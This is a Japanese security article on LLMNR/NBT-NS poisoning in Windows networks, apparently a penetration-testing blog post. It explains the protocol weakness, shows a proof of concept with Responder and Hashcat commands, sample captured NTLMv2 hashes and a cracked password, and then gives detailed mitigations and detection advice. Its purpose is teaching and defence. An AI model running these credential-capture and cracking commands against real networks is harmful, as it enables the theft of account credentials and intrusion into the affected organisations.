ブロードキャストから侵害へ：LLMNR/NBT-NSポイズニングの実例

概要

Windowsネットワークの初期バージョンでは、システム間の通信やサービスの処理にNetBIOSプロトコルが使用されていました。その重要な要素の1つがNetBIOS Name Service（NBT-NS）で、名前の登録と名前解決を管理していました。

その後Microsoftは、NBT-NSの後継としてLink-Local Multicast Name Resolution（LLMNR）を導入しました。LLMNRは、DNSが利用できない場合に同一ローカルネットワーク上のシステムがホスト名を解決できるようにすることで、同等の機能を提供します。IPv4とIPv6の両方をサポートし、DNSルックアップが失敗した際にサブネット上のすべてのデバイスへクエリをブロードキャストします。

LLMNRとNBT-NSの弱点は、認証なしで任意のデバイスからの応答を受け入れてしまう点です。これにより、同一サブネット上の攻撃者が名前解決要求に応答し、システムをだまして認証試行を送信させることができます。Responderなどのツールを使用すると、攻撃者はNTLMv2ハッシュ、ユーザー名、ドメイン情報を取得でき、これらはオフラインでクラックしたり、他のサービスへリレーしたりできます。

この攻撃はソフトウェア脆弱性の悪用に依存しません。Windowsのデフォルト動作を悪用するもので、攻撃者が被害者と同じローカルネットワークセグメント上に存在するだけで成立します。

なぜ問題になるのか？

WindowsがDNSでホスト名を解決できない場合、ローカルネットワーク上の他デバイスに問い合わせるためにLLMNRまたはNBT-NSへフォールバックします。問題は、これらのプロトコルが応答者の正当性を検証しないことです。サブネット上の任意のデバイスが返信でき、要求元システムはその回答を信頼してしまいます。

LLMNRは名前解決の実行に認証を必要としません。つまり、ローカルネットワーク上のどのコンピュータでもLLMNRクエリを送信したり応答したりできます。攻撃者がネットワーク上で待ち受けていれば、これらのクエリを傍受し、自分の情報で応答できます。

LLMNRポイズニング攻撃では、攻撃者はLLMNR要求を待ち受けます。要求がブロードキャストされると、攻撃者のデバイスが自身のIPアドレスで応答し、被害者のトラフィックをリダイレクトします。被害者が接続を試みると、システムはNTLMv2ハッシュなどの認証データを自動的に送信します。

攻撃者はこの認証データを取得し、オフラインでクラックしてパスワードを復元するか、他システムへリレーして不正アクセスを得ることができます。要するに、LLMNRとNBT-NSに認証がないことにより、攻撃者は信頼されたシステムになりすまし、ログイン情報を取得し、従来のソフトウェア脆弱性を悪用することなくネットワーク内部へ深く侵入できるのです。

LLMNRの仕組み

LLMNRはフォールバック用のプロトコルです。ネットワーク上のコンピュータを見つける通常の方法であるDNSが失敗したときに作動します。情報窓口に連絡が取れないとき、混雑した部屋で質問を大声で叫ぶようなものです。

手順は次のとおりです：

• DNS要求が失敗する。 ユーザーのコンピュータが、\\fileserverのようなネットワークリソースへ接続しようとします。まず公式のDNSサーバーにアドレスを問い合わせます。DNSサーバーがその名前を知らない場合（入力ミス、またはサーバーがオフラインなど）、DNSは「わからない」と返します。
• コンピュータが部屋全体に尋ねる。 DNSから回答がないため、コンピュータは同じ質問をマルチキャストメッセージとしてローカルネットワークセグメント全体に送信します。これは「このローカルネットワークの皆さん、fileserverは誰ですか？」と立ち上がって尋ねるようなものです。このメッセージは、LLMNR対応コンピュータが待ち受けている特定のマルチキャストアドレス（IPv4では224.0.0.252）に送られます。
• 正しいコンピュータが答える。 実際にfileserverという名前を持つコンピュータが質問を受信します。そして要求元コンピュータへユニキャストで「それは私です。私のIPアドレスは192.168.1.10です」と返します。
• 接続が確立される。 元のコンピュータはIPアドレスを得たので、そのアドレスを使ってfileserverへ直接接続し、共有へアクセスします。

このプロトコルは「信頼」を前提に作られています。要求元コンピュータは、マルチキャストの質問に対して返ってきた回答はどれも真実だと仮定します。誰が答えているのか、答える権限があるのかを確認しません。誰かが嘘を叫ぶのを防ぐセキュリティがないのです。

ResponderはLLMNRポイズニング攻撃を実行するための代表的なツールです。

Responderとは？

Responderは、LLMNR、NBT-NS、MDNSなどのネットワーク認証プロトコルの弱点を悪用するために一般的に使用される、オープンソースのペネトレーションテストツールです。ローカルネットワーク上のブロードキャストによる名前解決要求を待ち受け、それに応答して要求されたサービスになりすますことで動作します。

被害者システムが攻撃者が制御するサービスへ接続しようとすると、ResponderはNTLMv2ハッシュ、ユーザー名、ドメイン情報などの認証データを取得します。取得した認証情報は、後でオフラインでクラックして平文パスワードを復元したり、リレー攻撃で他システムへの不正アクセスを得るために直接利用したりできます。

Proof of Concept（PoC）

1- 攻撃者が環境を準備する：

攻撃者はターゲットシステムと同じローカルサブネットまたはVLANに接続し、待ち受けモードでResponderを起動します：

sudo responder -I eth0 -wd

• -I eth0 はネットワークインターフェースを指定します
• -w enables はWPADの不正プロキシサーバーを有効化します
• -d enables はNBT-NSおよびLLMNRへの応答を有効化します

2- 被害者がLLMNRクエリを送信する
被害者マシンが、DNSでは解決できないホスト名（例：fileserver01.local）を解決しようとします。システムはフォールバックして、ローカルネットワーク全体へLLMNR要求をブロードキャストします。

3- Responderが要求を傍受してポイズニングする
Responderは正規ホストより先に応答し、要求された名前の所有者であると主張します。被害者はその応答を受け入れ、攻撃者が制御するシステムへ接続しようとします。

出力例：

[LLMNR] Poisoned answer sent to 10.10.1.50 for name fileserver01
[HTTP] NTLMv2 Username : DEMO\\jdoe
[HTTP] NTLMv2 Hash : 11223344556677889900AABBCCDDEEFF…

4- 認証データが取得される
被害者が認証を試みると、Responderは次を記録します：
1- ユーザー名：DEMO\jdoe
2- ドメイン/ワークステーション：DEMO-WKS01
3- NTLMv2ハッシュ（上記はサンプル）

5- 取得したNTLMv2ハッシュのクラック

1- 取得したNTLMv2ハッシュ

LLMNRポイズニング攻撃により、Responderは次を提供します

DEMO\jdoe::DEMO-WKS01:1122334455667788:5D2DA2EBB35A3AC:83AD72D79FA919D7422F7F88A36A287:01010000000000008025DBC5783DC0196F21E5C5D000

2- ハッシュをファイルに保存する

3- NTLMv2ハッシュに対してHashcatを実行する

NTLMv2にはHashcatのモード5600を使用します：

hashcat -m 5600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

• -m 5600 → NTLMv2ハッシュモードを指定
• -a 0 → ストレート辞書攻撃
• /usr/share/wordlists/rockyou.txt → 一般的なパスワードリスト
• 成功すると、Hashcatが平文パスワードを表示します：
  DEMO\jdoe::demo123!

場合によっては、特定のサービスが関与していると平文の認証情報も取得されることがあります：Responderは認証情報を平文で取得します：

1. 攻撃者はMSSQLデータベースへの直接ログイン認証情報を入手しました。

2. これにより、アプリケーションデータやストアドプロシージャへの不正アクセス、さらに他システムへのラテラルムーブメントが可能になる場合があります。

LLMNR/NBT-NSポイズニングの影響

• 認証情報の窃取
  攻撃者はNTLMv2のチャレンジレスポンスハッシュ、あるいは平文の認証情報（例：MSSQL、SMB、LDAP、HTTP）さえ取得できます。
  これらの認証情報はオフラインでクラックして平文パスワードを明らかにしたり、「pass-the-hash」やリレー攻撃で直接再利用したりできます。
• 不正アクセス
  有効な認証情報があれば、攻撃者はデータベース、ファイル共有、アプリケーションサーバーへ認証できます。
  今回のケースでは、取得されたMSSQL認証情報によりデータベースへ直接アクセスでき、機微なアプリケーションデータが露出する可能性があります。
• 権限昇格
  特権アカウント（ドメイン管理者、サービスアカウント、データベース管理者など）が取得されると、攻撃者は迅速にネットワーク全体の制御へ到達し得ます。
• ラテラルムーブメント
  盗まれた認証情報により、攻撃者はネットワーク内を横展開し、他システムへアクセスして足場を拡大できます。
• データ流出 & サービス妨害
  攻撃者は機微情報を持ち出したり、データベース内容を改ざん・削除したり、侵害されたアカウントに依存するサービスを妨害したりできます。
• ソフトウェア脆弱性は不要
  この攻撃は未修正の脆弱性ではなく、Windowsのデフォルト動作を悪用します。そのため、LLMNR/NBT-NSが有効なままの環境は多くが露出し続け、特に危険です。

対策 & 実装

1) LLMNRを無効化（グループポリシー）

GPOパス：
コンピューターの構成 → 管理用テンプレート → ネットワーク → DNS クライアント → マルチキャスト名前解決をオフにする = 有効

適用範囲： すべてのワークステーションとサーバー（VDIを含む）に適用。
確認： クライアントで Get-DnsClient | Select-Object InterfaceAlias,UseMulticast を実行 → False であること

2) TCP/IP上のNetBIOS（NBT-NS）を無効化
NetBIOSはアダプターごとです。GPOまたはPowerShellで実施します。
PowerShell（エンドポイントで管理者として実行、またはGPOスタートアップスクリプト経由）：

Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter "IPEnabled=TRUE" | ForEach-Object { $_.SetTcpipNetbios(2) } | Out-Null # 2 = Disable NetBIOS over TCP/IP

確認： アダプター → IPv4 → 詳細設定 → WINS → 「TCP/IP 上の NetBIOS を無効にする」。

3) ネットワーク/ホストのファイアウォールでLLMNRをブロック（念のための多重防御）

• ポート：UDP/5355（LLMNR）
• Windows Defender Firewallルール（ローカル/GPO）：

New-NetFirewallRule -DisplayName "Block LLMNR" -Direction Inbound -Protocol UDP -LocalPort 5355 -Action Block
New-NetFirewallRule -DisplayName "Block LLMNR Outbound" -Direction Outbound -Protocol UDP -RemotePort 5355 -Action Block

4) SMB署名を強制（SMBへの古典的なNTLMリレーを阻止）

GPOパス：

• コンピューターの構成 → Windows の設定 → セキュリティの設定 → ローカル ポリシー → セキュリティ オプション
• Microsoft ネットワーク クライアント: 通信をデジタル署名する (常に) = 有効
• Microsoft ネットワーク サーバー: 通信をデジタル署名する (常に) = 有効

注： まずレガシーアプリをテストしてください。古いNAS機器の一部は動作しなくなる可能性があります—是正するか分離してください。

5) NTLMの使用を削減/制限

GPOパス：
セキュリティ オプション → ネットワーク セキュリティ: NTLM を制限する: NTLM 認証の監査と制限

• まず監査で棚卸しし、その後安全な範囲で拒否ポリシーへ移行します。
• NTLMv1がどこでも無効になっていることを確認します。

6) Kerberosを優先し、フォールバックが不要になるようDNSを整備

• すべてのホストに正しいA/PTRレコードとDNSサフィックス検索リストがあることを確認します。
• 古いレコードを削除し、重複SPNを修正します。
• サービスがFQDNで到達可能であることを確認します（アプリが短い名前に依存しないようにする）。

7) 検知 & 監視

• EDR/IDS： LLMNR/NBT-NSトラフィック、Responder/Inveighバイナリ、Option 252ビーコンをアラート。
• Windowsログ： 4624/4625の異常、想定外のワークステーション名、怪しいIPへの認証。
• ネットワーク： UDP/5355のバーストやWPADのHTTPヒットを確認。

8) NTLMリレーに対するLDAP / ADの強化

ドメインコントローラー上：

• LDAP署名：
  ドメイン コントローラー: LDAP サーバー署名要件 = 署名を要求
• チャネル バインディング： DCにレジストリを設定
  HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LdapEnforceChannelBinding = 2 (DWORD)

結論

LLMNRおよびNBT-NSのポイズニングは古典的でありながら、依然として危険な攻撃で、Windowsのデフォルト動作に依存して成立します。攻撃者は同一サブネット上にいるだけで信頼されたシステムになりすまし、NTLMv2ハッシュを取得し、場合によっては平文の認証情報を復元できてしまいます。そこから、機微データへのアクセス、ラテラルムーブメント、権限昇格が、ソフトウェア脆弱性を一切悪用せずに可能になります。

最も効果的な防御は、LLMNRとNBT-NSを無効化してこれらのレガシープロトコルへの依存を排除し、Kerberosなどの安全な認証方式を強制し、DNS基盤を適切に構成することです。ネットワーク監視と認証情報の強化策を組み合わせることで、ブロードキャストポイズニング攻撃による認証情報窃取リスクを大幅に低減できます。